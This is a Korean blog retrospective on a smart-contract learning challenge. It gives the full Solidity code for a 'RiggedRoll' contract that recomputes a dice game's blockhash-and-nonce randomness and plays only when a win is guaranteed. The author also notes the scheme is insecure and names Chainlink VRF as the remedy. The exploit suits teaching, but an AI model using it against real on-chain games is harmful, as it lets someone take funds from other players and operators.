챌린지를 수행하며 기억에 남은 내용만 간단히 회고한다.
external
을 인터페이스에 담았고, public
은 없어서 추상 계약은 건너뛰었다.pragma solidity >=0.8.0 <0.9.0; //Do not change the solidity version as it negativly impacts submission grading
//SPDX-License-Identifier: MIT
import "./DiceGame.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IRiggedRoll {
receive() external payable;
function withdraw(address payable to, uint256 amount) external;
function riggedRoll() external payable;
}
Ownable
계약으로 정의되어, 배포 시에 정해둔 운영 계정으로 소유권을 넘기므로, onlyOwnder
modifier를 사용하여 인가를 구현했다.riggedRoll
은 다양한 방법으로 구현할 수 있지만, 결국 이 역시도 테스트의 요구 사항에 맞추기 위해 다음 부분들을 신경썼다.value
로 전달되는 eth 말고, 계정에 존재하는 eth를 기준으로 수행 가능 여부를 판단한다.rollTheDice()
를 수행하는 것뿐만 아니라, 불충족 시 트랜잭션을 revert
한다.contract RiggedRoll is IRiggedRoll, Ownable {
DiceGame public diceGame;
constructor(address payable diceGameAddress) {
diceGame = DiceGame(diceGameAddress);
}
// +---------------------------------------------------+
// | EXTERNALS |
// +---------------------------------------------------+
// enable the contract to receive incoming Ether
receive() external payable {}
// transfer Ether from the rigged contract to the owner
function withdraw(
address payable to,
uint256 amount
) external override onlyOwner {
to.transfer(amount);
}
// only initiate a roll when it guarantees a win.
function riggedRoll() external payable override {
uint256 cost = 0.002 ether;
require(address(this).balance >= cost, "Insufficient balance to play");
require(canWin(), "You can't win this roll");
diceGame.rollTheDice{ value: cost }();
}
block.number
가 증가하고, 본 계약에 대한 트랜잭션을 진행함에 따라 nonce
가 증가하므로, (물론 예상 불가능한 무작위성은 아니지만) 난수를 생성할 수 있다.block.number
만으로도 난수를 만들 수 있다고 생각했는데, nonce
를 사용해야 한다면 replay attack
을 방지하기 위함이 아닐까 추측해보았다. (일단 이 방법 자체가 보안상 안전하지 않음은 자명하다.)Chainlink
를 활용하여 난수 생성 람다를 호출하거나, Chainlink VRF
를 사용하는 방식이 가장 단순해보인다.이론에 대한 내용들은 링크를 참조
// +---------------------------------------------------+
// | INTERNALS |
// +---------------------------------------------------+
// check if the roll will be a win
function canWin() private view returns (bool) {
return predictRoll() <= 5;
}
// predict the randomness in the DiceGame contract
function predictRoll() private view returns (uint256) {
bytes32 prevHash = blockhash(block.number - 1);
bytes32 hash = keccak256(
abi.encodePacked(prevHash, address(diceGame), diceGame.nonce())
);
uint256 roll = uint256(hash) % 16;
return roll;
}
}